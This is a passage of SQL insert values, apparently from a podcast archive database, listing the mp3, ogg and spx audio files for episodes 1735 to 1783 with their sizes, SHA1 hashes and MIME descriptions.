(1735,'hpr1735.ogg','ogg',8090363,'d389766b2e9b15ecbb6e383b5900b0722c3eb4e5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1735,'hpr1735.spx','spx',3027890,'529a52ade842f5cb2ab396c3891eb3b70029c76c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1736,'hpr1736.mp3','mp3',8565993,'5fb08d73974cedc81d62a11e04cdff65f0d0e41d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1736,'hpr1736.ogg','ogg',9441416,'57116eed55606ea3d96e63f3f6b0047a5ef2112c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1736,'hpr1736.spx','spx',3825397,'53a1cad91de27b85b8ab35951fd34e92f07a1883','application/ogg; charset=binary','Ogg data, Speex audio'),
(1737,'hpr1737.mp3','mp3',10177036,'0e0279b26124fe6908ccbef68f90b256dceb7d37','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1737,'hpr1737.ogg','ogg',11331866,'6fdf9dfcd4570f2505aabbe1ed96d2a1f00465c2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1737,'hpr1737.spx','spx',4544905,'20466ac58c6972805a61e93a9b82d98f17e79413','application/ogg; charset=binary','Ogg data, Speex audio'),
(1738,'hpr1738.mp3','mp3',41484466,'00dd5014f7ec2e9a11c322ee508b5dfb1d18538d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1738,'hpr1738.ogg','ogg',49507156,'bbd2ab72d2c4131a53802d1e47b92c95bc487b0b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1738,'hpr1738.spx','spx',18527094,'9bb43d515405347aa02a5f0c203377d70a115690','application/ogg; charset=binary','Ogg data, Speex audio'),
(1739,'hpr1739.mp3','mp3',12765676,'c61f4b145eb668e395a98cd099ead81f8659e17b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1739,'hpr1739.ogg','ogg',14522332,'f9872b1fed8e674c493baeda2ec7a401d9dfc38b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1739,'hpr1739.spx','spx',5700978,'0802ca9d96416e501baef4d0254927ce4800b593','application/ogg; charset=binary','Ogg data, Speex audio'),
(1740,'hpr1740.mp3','mp3',21406750,'c0bd078e0c8888490b8b43d1ea30dc5fb7e97b2f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1740,'hpr1740.ogg','ogg',24084525,'dd6b729df6934d848dc4bb36ee1790fead4399b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1740,'hpr1740.spx','spx',9560228,'998dd08639baba990a776d82bb8696929600123d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1741,'hpr1741.mp3','mp3',36445754,'552755c80269c594dd2abbab8111d34477e22a13','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1741,'hpr1741.ogg','ogg',33934031,'b1af60e836e888512c7b79d46dbedcf59d5d4eb2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1741,'hpr1741.spx','spx',16276810,'09d8559635caadb5c6083e5725a2ddc9ec580d7b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1742,'hpr1742.mp3','mp3',13792247,'3afe273db9c57b719ff083d31cafa7b9a48b2ea6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1742,'hpr1742.ogg','ogg',16229145,'97dc6954190073fd77f5925d575dcc26d87c4a5f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1742,'hpr1742.spx','spx',6159493,'fa20167b4c8acb54ba7639def65ce922ac882b36','application/ogg; charset=binary','Ogg data, Speex audio'),
(1743,'hpr1743.mp3','mp3',33721554,'f29d7c4b4fab78aceb5915cb7504719225f81ac4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1743,'hpr1743.ogg','ogg',36532390,'a724e2280a5b4214416a4bff9d5cd2212a09511b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1743,'hpr1743.spx','spx',15060174,'6e933d69381d0df5a9889dc55c8826875649640b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1744,'hpr1744.mp3','mp3',29635340,'aa89f75e2ffa619d93e5bfd1567c2999fd51df12','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1744,'hpr1744.ogg','ogg',34479622,'9e8606c7eea2e365337c74d24def8040862e7c6e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1744,'hpr1744.spx','spx',13235178,'51aeb59838f0ee9944adc089ce4ff4845c92abbe','application/ogg; charset=binary','Ogg data, Speex audio'),
(1745,'hpr1745.mp3','mp3',4905125,'32545247e2b1a6e568c0034f7577bc6784cfeda1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1745,'hpr1745.ogg','ogg',5775713,'167ce4023518f62d85602fcef26eba40f820f744','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1745,'hpr1745.spx','spx',2190406,'b017c65718f0355afafe7c807f5b837a19fd8fa9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1746,'hpr1746.mp3','mp3',25058027,'414d96688ee825a7d026b60cb4ad8ebcfec4571c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1746,'hpr1746.ogg','ogg',27587929,'6cb696c10d48a6f28cbcd26d348bbd0b76223a81','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1746,'hpr1746.spx','spx',11190881,'e743db9de7f0de9caf3671f5dc958942166f8aec','application/ogg; charset=binary','Ogg data, Speex audio'),
(1747,'hpr1747.mp3','mp3',24662636,'e318af8ca73f2dd4492bbb828f7489ff0dc05e9a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1747,'hpr1747.ogg','ogg',25378842,'0b6299c9831137cd58c72e8d167dd1cddf056290','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1747,'hpr1747.spx','spx',11014305,'d24290fc08ef2f547448fde79318f38e546c0efc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1748,'hpr1748.mp3','mp3',32311079,'1168a599ba33eb9341164f6c4dcff55774e627d6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1748,'hpr1748.ogg','ogg',33094888,'26d14b751d3a430cba3308fb7ccd3b812d2bad5b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1748,'hpr1748.spx','spx',14430187,'6ac049bc0a45b8d31096c3e629ddd200d3a060ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(1749,'hpr1749.mp3','mp3',10863518,'9b6112ae966e9a66a8919e932bf1909929bf0ba2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1749,'hpr1749.ogg','ogg',11265752,'6775e1508a4dc03da85eb7ea30d64b3e36eee6d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1749,'hpr1749.spx','spx',4851450,'9bce2c0ea4fb89ea291f9eeb60ef074ada98eb86','application/ogg; charset=binary','Ogg data, Speex audio'),
(1750,'hpr1750.mp3','mp3',7980275,'dd7c6fe268e44cf5bb6e039912bab5bedf179fe6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1750,'hpr1750.ogg','ogg',10032502,'f8369260576113dac870dbd7036fdb2ec2633fb8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1750,'hpr1750.spx','spx',3563844,'79fac098c6b828bca5c973430f889ab3415c9c4d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1751,'hpr1751.mp3','mp3',8370604,'23fad634e14c0f2f5421508d0dfe09a78a53b88c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1751,'hpr1751.ogg','ogg',9652098,'a949a18c92104f3b880ab809c9b2d1c4ed04eb55','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1751,'hpr1751.spx','spx',3738146,'510d88f8143b9513963de1352712a51e5abe4b27','application/ogg; charset=binary','Ogg data, Speex audio'),
(1752,'hpr1752.mp3','mp3',14204695,'8d768141aa504156cf6ef714a0451ff472292633','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1752,'hpr1752.ogg','ogg',16679220,'49315b6aa302cb6a0bd58e8cdea22dc01c20a375','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1752,'hpr1752.spx','spx',6343642,'923e1db8c78ccf995d5048b47df7233315b65d65','application/ogg; charset=binary','Ogg data, Speex audio'),
(1753,'hpr1753.mp3','mp3',6702376,'1457a67610ee04370fd5f40e2f9b72056ef207b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1753,'hpr1753.ogg','ogg',6067072,'9d6a89be3f2e4dbc90a54559275a56b84d17ceda','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1753,'hpr1753.spx','spx',2993035,'733d5bffefc9b928dc4c557a90cd88c39eefb94b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1754,'hpr1754.mp3','mp3',5322208,'da8337330fdb6879b848446d36e01e1088af70fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1754,'hpr1754.ogg','ogg',6443803,'38d0fabd2c7b87848504c4111cbd620914b8e61f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1754,'hpr1754.spx','spx',2376721,'2f4d3db8e97c2c1bd35b863844aca2a517071abd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1755,'hpr1755.mp3','mp3',6025659,'d329704853e2365a805d62c490da91918287d486','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1755,'hpr1755.ogg','ogg',7116558,'1db496b19efa50a54fe9433cb8e272ea0aa00202','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1755,'hpr1755.spx','spx',2690889,'a1922a00ee2f3c33458f41ff0b1611ac66f5aceb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1756,'hpr1756.mp3','mp3',10173047,'2652e51606eb203ee7e460a6af2ceb9da63f1abb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1756,'hpr1756.ogg','ogg',10827562,'00ce83cfc0821e06805cc385153f6ae7021c56f6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1756,'hpr1756.spx','spx',4543112,'e64dd31b65e8b1da306d16e361ba82eee7d12997','application/ogg; charset=binary','Ogg data, Speex audio'),
(1757,'hpr1757.mp3','mp3',12769628,'6510b2b19d4a6c3ed970309f732145ae5d2876ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1757,'hpr1757.ogg','ogg',14150002,'a09210575d0f4fc95080c09f1beb256fc0c86841','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1757,'hpr1757.spx','spx',5702805,'5a8d552a53239c5967d28b3ae77163c9e89a9ddf','application/ogg; charset=binary','Ogg data, Speex audio'),
(1758,'hpr1758.mp3','mp3',11005229,'a22858db2b19bf8e24747d79435343ff53b3d20b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1758,'hpr1758.ogg','ogg',12911287,'4e1590200a5f8969bc6bee156b765a4a246976db','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1758,'hpr1758.spx','spx',4914784,'30ac16d1272c4570d6df9924d749fb7127172489','application/ogg; charset=binary','Ogg data, Speex audio'),
(1759,'hpr1759.mp3','mp3',7541626,'09268617d9372d21749d7e90522760b0f2057f15','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1759,'hpr1759.ogg','ogg',8319618,'c1d4561f45a2853a848d8d60d84c83344af9d810','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1759,'hpr1759.spx','spx',3367892,'512eaf84893f042319c513df045f1d2b0f7a31b9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1760,'hpr1760.mp3','mp3',9489882,'aad53c12da2f2e2a5286fbcc3bb0f004995fe895','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1760,'hpr1760.ogg','ogg',11512163,'c9de2a3a3fed487bb86d81ddc30e419ef97586ff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1760,'hpr1760.spx','spx',4237986,'0fabbfe7156a4e964e2e1b02f928c635bbdb5dba','application/ogg; charset=binary','Ogg data, Speex audio'),
(1761,'hpr1761.mp3','mp3',31504850,'5dc0b431600d27eee8394a094898af727054ceba','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1761,'hpr1761.ogg','ogg',29559041,'b277af08ec0111a7339006a0ea4e696691deb64f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1761,'hpr1761.spx','spx',14070067,'294fcab44164c95b839cd802424190492573744a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1762,'hpr1762.mp3','mp3',55857279,'7317d34803d83c67805d9f6904ce5d89bb667628','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1762,'hpr1762.ogg','ogg',54904820,'7ccc64d38ffb5f74d196b4900fece6a558617905','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1762,'hpr1762.spx','spx',24946150,'520aa57d194646e5dd7964ee773717073fb67f1d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1763,'hpr1763.mp3','mp3',9130637,'87ae6fe6b3858a43b0c69f39e124e9cac7281555','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1763,'hpr1763.ogg','ogg',10016145,'a2f5dd4e3c33a4c58de8ba54a0e673e22346ad58','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1763,'hpr1763.spx','spx',4077556,'a002e6abdb7179665c3366049569f5cbe907280e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1764,'hpr1764.mp3','mp3',7394083,'5f1d8f0826b0dc25b2acf8c8dad3abde5fde328a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1764,'hpr1764.ogg','ogg',7884895,'579ebd05834e7e5cc8b14b1c2beb91e6584f87f0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1764,'hpr1764.spx','spx',3302021,'fc3d5dc0112d2423cdd35d190cbdbd5babe1d478','application/ogg; charset=binary','Ogg data, Speex audio'),
(1765,'hpr1765.mp3','mp3',6155876,'e7462f0299f387b1aeac4073d04ef9be0a275abc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1765,'hpr1765.ogg','ogg',7320017,'5bcb7aee1f1d872d7fc47f106116cf1fd2f224f7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1765,'hpr1765.spx','spx',2749057,'73ad14eecd04885f6850d33ca24789c43fc41ffe','application/ogg; charset=binary','Ogg data, Speex audio'),
(1766,'hpr1766.mp3','mp3',4382222,'0c97a54b2746e74213372d08f77eed40b2b4509d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1766,'hpr1766.ogg','ogg',4900394,'49e3e734f6abe7d7700281e759ad7374aaf17962','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1766,'hpr1766.spx','spx',1956928,'f41cc5f968f998aff5470e27f7fcbd80751a832d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1767,'hpr1767.mp3','mp3',5151768,'fae286a201a79928acf9beafb6dbfadda23cb7b5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1767,'hpr1767.ogg','ogg',5460244,'d35372defdfb1c2c1abacb1516b43788c965c93a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1767,'hpr1767.spx','spx',2300566,'870f2caa7e1435ca08d0fc14732bd48df13b045a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1768,'hpr1768.mp3','mp3',14135758,'7bbb2e60274d0a899d023b23f67d5258497f1b12','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1768,'hpr1768.ogg','ogg',15976102,'d048942c089d194e3d7837d2d291b590d9dad91e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1768,'hpr1768.spx','spx',6312949,'f4371087f614f9f4c66b012fa15290c7fb4c2c18','application/ogg; charset=binary','Ogg data, Speex audio'),
(1769,'hpr1769.mp3','mp3',5309756,'3864255a59ec1ba3653a5e12012766f24efac99b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1769,'hpr1769.ogg','ogg',6323991,'19f7ac27d8506d671e1dfe17aab7b8c4a6911492','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1769,'hpr1769.spx','spx',2371173,'d6514e7e0af5b2d0b57e84a9ce9df2cf6e45d4ca','application/ogg; charset=binary','Ogg data, Speex audio'),
(1770,'hpr1770.mp3','mp3',8162860,'f43b2f76b8b34e7031ede10b61126788ddd9900f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1770,'hpr1770.ogg','ogg',9926430,'b0b65e3a36dfd35cd97b6703ff26a9894eb3f930','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1770,'hpr1770.spx','spx',3645375,'de1da161c7d3bf3fd152541ecd9755c8ce597ed7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1771,'hpr1771.mp3','mp3',4148594,'e0d36d6c365925067525318dbe0965374fd2d397','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1771,'hpr1771.ogg','ogg',5253362,'eee9bdd147b247a32d5344d2d486ae32488e4248','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1771,'hpr1771.spx','spx',1852604,'116872e640ffc9059792002e4be8ed5360a7198e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1772,'hpr1772.mp3','mp3',5437567,'b05d2ccd0fb3efbaa8ed4217cc89fc910c2606dc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1772,'hpr1772.ogg','ogg',5228983,'1a6ed4b19297d5e0e4014a438e9308999bd50309','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1772,'hpr1772.spx','spx',2428238,'87f75c12dc09a177d32831d0642939ab4ff26b05','application/ogg; charset=binary','Ogg data, Speex audio'),
(1773,'hpr1773.mp3','mp3',7920090,'e251560d3b2e8e8b6e6d917cff1fb76011e82a13','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1773,'hpr1773.ogg','ogg',8386678,'740d971827718cdf94ed0f02c2b1a20f93f85c53','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1773,'hpr1773.spx','spx',3536889,'73ed3d05bbb2d282177bf8aa850ada8968e5cc5a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1774,'hpr1774.mp3','mp3',8170176,'828b8acec8a88358e2d501f2b9885ce10efa97b5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1774,'hpr1774.ogg','ogg',10412957,'fe4420790e55759ced351412b72ed900b5e18d29','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1774,'hpr1774.spx','spx',3648598,'910501379f1523a6f1c4017d3c6edf92967ae397','application/ogg; charset=binary','Ogg data, Speex audio'),
(1775,'hpr1775.mp3','mp3',4873741,'82b625a8ae814b95ae5546dcbffd3dcc0b98085c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1775,'hpr1775.ogg','ogg',5586078,'9915e2ad6d96d5fa58d0b682bce6456c2b5c4daa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1775,'hpr1775.spx','spx',2176372,'5a8180c6340303c9f4fdb74455eb680d1a8f4e2d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1776,'hpr1776.mp3','mp3',22198553,'6bfe42534ead6e07d09fd6387791e3de606884de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1776,'hpr1776.ogg','ogg',25331464,'a1cd416953f63faf628085c9edf6f79e01e1142a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1776,'hpr1776.spx','spx',9913853,'fc4a713e3fe2def0039995bdba253f6381a9fcbd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1777,'hpr1777.mp3','mp3',66728592,'79432ed68814f6c7409265b0423ce0bf4a53aca6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(1777,'hpr1777.ogg','ogg',49790959,'5dc207b9a0a7dcb670b71fad90a589ba23a67ca0','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(1777,'hpr1777.spx','spx',14900926,'37a021ad43b66824438948b8e6e1ad5efbe00dff','application/ogg; charset=binary','Ogg data, Speex audio'),
(1778,'hpr1778.mp3','mp3',5490658,'5f794b1951a6e82ab0a9ebb66c5e2f3669355db6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1778,'hpr1778.ogg','ogg',6361872,'d84123e2b4dc46f780bd2d544f514415f2016106','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1778,'hpr1778.spx','spx',2451913,'f66d2dda394707e67a00b3c14555ed722bcd481b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1779,'hpr1779.mp3','mp3',7010134,'060b1e5e500be8fbbb20cdc38a83f2caaa3473f5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1779,'hpr1779.ogg','ogg',8381916,'d7cb51fa769c56a68fe62a1dbf9eb528a31a758e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1779,'hpr1779.spx','spx',3130460,'03aa7dccc707941b5d9a701bfb25a590ff9a0aad','application/ogg; charset=binary','Ogg data, Speex audio'),
(1780,'hpr1780.mp3','mp3',6789902,'21157e985f1a497275739886e7c12969aae1d514','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1780,'hpr1780.ogg','ogg',8087866,'aca2fd6800116a6587046f9eb475d1459f1c035c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1780,'hpr1780.spx','spx',3032176,'16d13359191ac76a1b7a3bbf16bcfb8adaa1f3e7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1781,'hpr1781.mp3','mp3',33262362,'15bcba5172647a49daf06c1eda6bf03cadfde9ec','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1781,'hpr1781.ogg','ogg',31017108,'66118b03e33218b41699ae18c7f5edd4804c67fb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1781,'hpr1781.spx','spx',14855017,'cc178274f700ba67b3ea5c27c591b6f633e855f2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1782,'hpr1782.mp3','mp3',9524659,'069cde54dfbb161236ba56a8e5be36c75e59aa20','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1782,'hpr1782.ogg','ogg',9817645,'c620a0fbc73d32094ed58d11519c31ade8c360d9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1782,'hpr1782.spx','spx',4253561,'067ab45ce22f297a3807a29b6b8ca8ca0164d206','application/ogg; charset=binary','Ogg data, Speex audio'),
(1783,'hpr1783.mp3','mp3',5930411,'0727dd5285e58af62871f1cc1afa992a4c30e6ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
